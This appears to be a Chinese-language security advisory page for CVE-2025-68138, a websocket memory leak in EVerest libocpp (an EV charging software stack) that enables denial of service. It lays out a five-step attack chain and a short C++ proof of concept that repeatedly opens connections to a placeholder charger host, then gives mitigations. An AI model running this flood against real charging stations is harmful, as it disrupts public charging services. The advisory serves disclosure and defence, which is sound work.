IPBUF安全漏洞报告
English
CVE-2025-68138 CVSS 4.7 中危

CVE-2025-68138 EVerest libocpp websocket内存泄漏漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2025-68138
漏洞类型
内存泄漏
CVSS评分
4.7 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EVerest libocpp

相关标签

内存泄漏拒绝服务EVerestlibocppwebsocketOCPP电动汽车充电资源管理错误CVE-2025-68138

漏洞概述

EVerest是一个开源的电动汽车充电软件栈,libocpp是Open Charge Point Protocol (OCPP)的C++实现。在libocpp 0.30.1之前的版本中,websocket_libwebsockets.cpp文件中的strdup调用返回的指针从未被正确释放。每次客户端尝试建立websocket连接时,都会通过strdup分配新的内存用于存储URI字符串,但由于缺少对应的free调用,这些内存无法被回收。随着连接请求的不断累积,未释放的内存会持续增长,最终可能导致内存耗尽,引发拒绝服务(DoS)攻击。该漏洞的CVSS评分为4.7,属于中危级别,攻击向量为邻接网络,攻击者无需认证即可发起攻击。由于电动汽车充电站通常部署在公共或半公共场所,攻击者可以相对容易地接触到网络进行攻击。

技术细节

漏洞根源位于EVerest/libocpp项目中的websocket_libwebsockets.cpp文件。在websocket连接建立过程中,代码使用strdup函数复制URI字符串,但未在连接关闭或错误处理路径中释放这些分配的内存。当websocket连接尝试失败或正常关闭时,已分配的内存块未被释放就直接丢失引用,形成内存泄漏。具体问题代码位置在lib/ocpp/common/websocket/websocket_libwebsockets.cpp的连接处理逻辑中。攻击者可以通过向受影响的充电站系统发送大量websocket连接请求来触发此漏洞。每次连接尝试都会分配新的内存,而由于内存泄漏,这些内存不会返回到系统的可用内存池。在足够多的连接尝试后,系统将耗尽可用内存,导致进程崩溃或系统变得极不稳定,无法正常处理合法的充电请求。由于该漏洞影响的是电动汽车充电基础设施,攻击成功可能导致充电站服务中断,影响用户体验。

攻击链分析

STEP 1
侦查阶段
攻击者识别部署了EVerest libocpp的电动汽车充电站,通过网络扫描发现开放websocket端口的设备
STEP 2
资源探测
攻击者向目标充电站的websocket端点发送连接请求,观察响应时间和系统状态
STEP 3
洪水攻击
攻击者使用自动化工具向目标发送大量websocket连接请求,每次连接都会触发strdup内存分配
STEP 4
内存耗尽
由于strdup返回的指针未被释放,内存持续泄漏,系统可用内存逐渐减少
STEP 5
拒绝服务
当内存耗尽到临界点时,充电站进程崩溃或系统变得极不稳定,无法响应正常充电请求

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68138 Memory Leak PoC // This PoC demonstrates the memory leak in EVerest libocpp websocket connections // Run multiple connection attempts to observe memory growth #include <websocketpp/client.hpp> #include <websocketpp/config/asio_client.hpp> typedef websocketpp::client<websocketpp::config::asio_client> client; int main() { try { client c; c.init_asio(); c.set_access_channels(websocketpp::log::alevel::all); c.clear_access_channels(websocketpp::log::alevel::frame_payload); websocketpp::lib::error_code ec; std::string uri = "wss://target-ev-charger/ws"; // Repeatedly attempt connections to trigger memory leak // Each strdup call in websocket_libwebsockets.cpp allocates memory // that is never freed for (int i = 0; i < 1000; i++) { websocketpp::lib::error_code ec; client::connection_ptr con = c.get_connection(uri, ec); if (ec) { std::cout << "Connection error: " << ec.message() << std::endl; continue; } c.connect(con); std::this_thread::sleep_for(std::chrono::milliseconds(100)); } // Observe memory usage increasing with each connection attempt // Memory will not be released due to missing free() calls } catch (websocketpp::exception const & e) { std::cout << "WebSocket exception: " << e.what() << std::endl; } return 0; }

影响范围

EVerest libocpp < 0.30.1
EVerest everest-core (dependent on vulnerable libocpp version)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 在网络层实施严格的访问控制,限制对充电站websocket端口的访问;2) 配置Web应用防火墙(WAF)对websocket连接进行速率限制;3) 监控充电站系统的内存使用情况,设置告警阈值;4) 考虑在负载均衡器层面限制单个IP的连接数;5) 启用充电站的连接超时和空闲断开机制,减少strdup调用的频率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表